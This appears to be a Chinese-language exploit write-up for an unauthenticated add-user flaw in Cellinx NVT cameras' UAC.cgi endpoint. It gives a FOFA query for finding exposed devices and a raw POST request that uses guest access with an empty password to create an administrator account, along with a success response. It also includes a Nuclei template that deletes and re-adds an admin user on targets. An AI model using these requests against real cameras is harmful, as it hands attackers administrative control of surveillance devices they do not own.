Cellinx 摄像机 uac.cgi 未授权添加用户漏洞

# 搜索语法body="local/NVT-string.js"

POST /cgi-bin/UAC.cgi?TYPE=json HTTP/1.1host:127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36Content-Type: application/json;charset=UTF-8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Length: 194{"jsonData":{"username":"guest","password":"","option":"add_user","data":{"username":"test","password":"test","permission":{"is_admin":"1","view":"1","ptz":"1","setting":"1","dout":"1"}}}}

HTTP/1.1 200 OKSet-Cookie: TRACKID=53c5ea7529676c72bd899760e4d3c119; Path=/; Version=1Pragma: no-cacheCache-Control: no-cacheContent-type: application/jsonConnection: closeDate: Tue, 30 May 2023 13:03:43 GMTServer: lighttpd/1.4.33Content-Length: 104{"retData":{"add_user":{"result" : "Success"}}}

id: cellinx-nvt-uac-unauthinfo:  name: cellinx-nvt-uac-unauth  author: unknow  severity: high  description: cellinx 摄像机 uac.cgi 存在未授权添加用户漏洞。  tags: cellinx,unauth  metadata:    fofa-query: body="local/NVT-string.js"http:  - raw:      - |        POST /cgi-bin/UAC.cgi?TYPE=json HTTP/1.1        Host:         Content-Type: application/json; charset=UTF-8        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15        {"jsonData":{"username":"guest","password":"","option":"delete_user","data":{"username":"{{username}}"}}}      - |        POST /cgi-bin/UAC.cgi?TYPE=json HTTP/1.1        Host:         Content-Type: application/json; charset=UTF-8        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15        {"jsonData":{"username":"guest","password":"","option":"add_user","data":{"username":"{{username}}","password":"{{password}}","permission":{"is_admin":"1","view":"1","ptz":"1","setting":"1","dout":"1"}}}}    attack: clusterbomb          payloads:      username:        - adminqwe      password:        - adminqwe    matchers-condition: and    matchers:      - type: dsl        dsl:          - 'status_code_2==200 && contains(body_2, "add_user":{"result" : "Success"}}}") && contains(header_2, "application/json")'